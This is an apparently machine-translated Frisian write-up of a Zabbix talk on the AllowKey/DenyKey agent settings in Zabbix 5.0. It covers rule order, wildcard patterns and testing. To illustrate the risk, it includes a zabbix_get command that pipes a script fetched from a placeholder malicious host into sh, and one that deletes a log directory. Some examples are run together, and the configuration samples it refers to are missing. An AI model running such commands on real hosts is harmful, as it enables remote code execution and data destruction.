Blacklist en whitelist-stipe foar metriken oan 'e kant fan agent
Tikhon Uskov, Yntegraasjeingenieur, Zabbix
Gegevensfeiligensproblemen
Zabbix 5.0 hat in nije funksje wêrmei jo feiligens kinne ferbetterje yn systemen dy't Zabbix Agent brûke en de âlde parameter ferfangt RemoteCommands ynskeakelje.
Ferbetteringen yn 'e feiligens fan agent-basearre systemen komme út it feit dat in agint in grut oantal mooglik gefaarlike aksjes kin útfiere.
- De agint kin hast alle ynformaasje sammelje, ynklusyf fertroulike of potinsjeel gefaarlike ynformaasje, fan konfiguraasjetriemmen, logtriemmen, wachtwurdbestannen of oare bestannen.
Bygelyks, mei it zabbix_get-hulpprogramma kinne jo tagong krije ta in list mei brûkers, har thúsmappen, wachtwurdbestannen, ensfh.
Tagong ta gegevens mei it hulpprogramma zabbix_get
NOTE. Gegevens kinne allinnich ophelle wurde as de agint hat lêzen tagongsrjochten op de oerienkommende triem. Mar bygelyks de triem /etc/passwd/ lêsber foar alle brûkers.
- De agint kin ek potinsjeel gefaarlike kommando's útfiere. Bygelyks, kaai *system.run[]** lit jo alle kommando's op ôfstân útfiere op netwurkknooppunten, ynklusyf it útfieren fan skripts fan 'e Zabbix-webynterface dy't ek kommando's útfiere oan' e agintkant.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- Op Linux rint de agint standert sûnder root-privileezjes, wylst it op Windows rint as in tsjinst as Systeem en hat ûnbeheinde tagong ta it bestânsysteem. As der nei ynstallaasje gjin wizigingen wurde makke oan 'e Zabbix Agent-parameters, hat de agint tagong ta it register, bestânsysteem en kin WMI-fragen útfiere.
Yn eardere ferzjes de parameter EnableRemoteCommands=0 tastien allinich metriken út te skeakeljen mei de kaai *system.run[]** en rinnende skripts fan 'e webynterface, mar d'r wie gjin manier om tagong ta yndividuele bestannen te beheinen, yndividuele kaaien te tastean of út te skeakeljen dy't waarden ynstalleare mei de agint, of it gebrûk fan yndividuele parameters te beheinen.
It brûken fan de EnableRemoteCommand-parameter yn eardere ferzjes fan Zabbix
AllowKey/DenyKey
Zabbix 5.0 helpt te beskermjen tsjin sokke net autorisearre tagong troch whitelists en blacklists te leverjen foar it tastean en wegerjen fan metriken oan 'e agintkant.
Yn Zabbix 5.0 alle kaaien, ynklusyf *system.run[]** binne ynskeakele, en twa nije agentkonfiguraasjeopsjes binne tafoege:
AllowKey= - tastiene kontrôles;
DenyKey= - ferbeane kontrôles;
wêr is in kaainammepatroan mei parameters dy't metatekens (*) brûkt.
De toetsen AllowKey en DenyKey kinne jo yndividuele metriken tastean of wegerje basearre op in spesifyk patroan. Oars as oare konfiguraasjeparameters is it oantal AllowKey/DenyKey-parameters net beheind. Hjirmei kinne jo dúdlik definiearje wat krekt de agint kin dwaan yn it systeem troch it meitsjen fan in beam fan kontrôles - útfierbere kaaien, wêryn de folchoarder wêryn't se skreaun binne in heul wichtige rol spilet.
Sequence fan regels
De regels wurde kontrolearre yn 'e folchoarder wêryn't se ynfierd binne yn it konfiguraasjetriem. De kaai wurdt kontrolearre neffens de regels foar de earste wedstriid, en sa gau as de kaai fan de gegevens elemint oerienkomt mei it patroan, it is tastien of wegere. Hjirnei stopt regelkontrôle en wurde de oerbleaune kaaien negearre.
Dêrom, as in elemint oerienkomt mei sawol in tastean as in wegerje regel, it resultaat sil ôfhingje fan hokker regel is earst yn de konfiguraasje triem.
2 ferskillende regels mei itselde patroan en in kaai vfs.file.size[/tmp/file]
De folchoarder fan it brûken fan de AllowKey/DenyKey-kaaien:
- krekte regels,
- algemiene regels,
- ferbean regel.
As jo bygelyks tagong hawwe ta bestannen yn in bepaalde map, moatte jo earst tagong ta har tastean, en dan al it oare wegerje dat net binnen de fêststelde tagongsrjochten falt. As de wegeringsregel earst brûkt wurdt, wurdt tagong ta de map wegere.
Korrekte folchoarder
As jo moatte tastean 2 nutsbedriuwen te rinnen fia *system.run[]**, en de ûntkennende regel sil earst wurde oantsjutte, de nutsfoarsjenningen wurde net lansearre, om't it earste patroan altyd oerienkomt mei elke kaai, en folgjende regels wurde negearre.
Ferkearde folchoarder
Patroanen
Basisregels
Pattern is in útdrukking mei jokertekens. It metateken (*) komt oerien mei elk oantal karakters op in spesifike posysje. Metatekens kinne brûkt wurde sawol yn 'e kaainamme as yn parameters. Jo kinne bygelyks de earste parameter strikt definiearje mei tekst, en spesifisearje de folgjende as jokerteken.
Parameters moatte wurde omsletten yn fjouwerkante heakjes [].
system.run[*
- ferkeardvfs.file*.txt]
- ferkeardvfs.file.*[*]
- rjochts
Foarbylden fan it brûken fan jokerteken.
- Yn de kaai namme en yn de parameter. Yn dit gefal komt de kaai net oerien mei in ferlykbere kaai dy't gjin parameter befettet, om't wy yn it patroan oanjûn hawwe dat wy in bepaalde ein fan 'e kaainamme en in bepaalde set parameters wolle ûntfange.
- As it patroan gjin fjouwerkante heakjes brûkt, lit it patroan alle kaaien dy't gjin parameters befetsje en wegeret alle kaaien dy't de oantsjutte parameter befetsje.
- As de kaai folslein skreaun is en de parameters binne oantsjutte as jokerteken, sil it oerienkomme mei elke ferlykbere kaai mei alle parameters en sil net oerienkomme mei de kaai sûnder fjouwerkante heakjes, d.w.s. it sil tastien of wegere wurde.
Regels foar it ynfoljen fan parameters.
- As in kaai mei parameters bedoeld is om te brûken, moatte de parameters oanjûn wurde yn it konfiguraasjetriem. Parameters moatte wurde opjûn as in metateken. It is needsaaklik om soarchfâldich wegerje tagong ta eltse triem en rekken hâlden mei hokker ynformaasje de metrysk kin leverje ûnder ferskillende staveringen - mei en sûnder parameters.
Funksjes fan it skriuwen fan toetsen mei parameters
- As in kaai wurdt oantsjutte mei parameters, mar de parameters binne opsjoneel en oantsjutte as in metateken, in kaai sûnder parameters wurdt oplost. As jo bygelyks it ûntfangen fan ynformaasje oer de lading op 'e CPU útskeakelje wolle en oantsjutte dat de system.cpu.load[*] kaai moat wurde útskeakele, ferjit net dat de kaai sûnder parameters de gemiddelde loadwearde werombringt.
Regels foar it ynfoljen fan parameters
Notysjes
oanpassing
- Guon regels kinne net feroare wurde troch de brûker, Bygelyks, ûntdekking regels of agent auto-registraasje regels. AllowKey/DenyKey-regels hawwe gjin ynfloed op de folgjende parameters:
- HostnammeItem
- HostMetadataItem
- HostInterfaceItem
NOTE. As in behearder in kaai útskeakelet, jout Zabbix, as frege, gjin ynformaasje oer wêrom't de metryske of kaai yn 'e kategory faltNET ÛNDERSTEUND'. Ynformaasje oer ferbod op it útfieren fan kommando's op ôfstân wurdt ek net werjûn yn 'e agent-logbestannen. Dit is om feiligensredenen, mar kin debuggen komplisearje as metriken om ien of oare reden yn in net-stipe kategory falle.
- Jo moatte net fertrouwe op in spesifike folchoarder foar it ferbinen fan eksterne konfiguraasje triemmen (bygelyks, yn alfabetyske folchoarder).
Command Line Utilities
Nei it ynstellen fan de regels moatte jo der wis fan wêze dat alles goed is ynsteld.
Jo kinne ien fan trije opsjes brûke:
- Foegje in metrike ta oan Zabbix.
- Test mei zabbix_agentd. Zabbix-agint mei opsje -print (-p) toant alle kaaien (dy't standert tastien binne) útsein dyjingen dy't net tastien binne troch de konfiguraasje. En mei de opsje -test (-t) want in ferbeane kaai sil weromkomme 'Net-stipe itemkaai'.
- Test mei zabbix_get. Utility zabbix_get mei opsje -k sil weromkomme 'ZBX_NOTSUPPORTED: Unbekende metrysk'.
Tastean of wegerje
Jo kinne wegerje tagong ta in bestân en ferifiearje, bygelyks, mei help fan it hulpprogramma zabbix_getdat tagong ta de triem wurdt wegere.
**
NOTE. Sitaten yn 'e parameter wurde negearre.
Yn dit gefal kin tagong ta sa'n bestân fia in oar paad tastien wurde. Bygelyks, as in symlink dêrta liedt.
It is oan te rieden om ferskate opsjes te kontrolearjen foar it tapassen fan de spesifisearre regels, en ek rekken hâlde mei de mooglikheden om de ferboden te omzeilen.
Fragen en antwurden
de fraach. Wêrom is sa'n kompleks patroan mei in eigen taal keazen om regels, tastimmingen en ferbods te beskriuwen? Wêrom wie it net mooglik om bygelyks de reguliere útdrukkingen te brûken dy't Zabbix brûkt?
Reply. Dit is in probleem mei regex-prestaasjes, om't d'r normaal mar ien agent is en it in enoarm oantal metriken kontrolearret. Regex is nochal in swiere operaasje en wy kinne op dizze manier gjin tûzenen metriken kontrolearje. Wildcards - in universele, in soad brûkte en ienfâldige oplossing.
de fraach. Binne de bestannen net opnommen yn alfabetyske folchoarder?
Reply. Foar safier't ik wit, is it frijwol ûnmooglik om de folchoarder te foarsizzen wêryn regels tapast wurde as jo de regels fersprieden oer ferskate bestannen. Ik advisearje alle AllowKey/DenyKey-regels te sammeljen yn ien Include-bestân, om't se mei-inoar ynteraksje, en dit bestân ynklusyf.
de fraach. Yn Zabbix 5.0 de opsje 'EnableRemoteCommands=' ûntbrekt yn it konfiguraasjetriem, en allinich AllowKey/DenyKey binne beskikber?
Antwurd. ja dat kloppet.
Спасибо за внимание!
Boarne: www.habr.com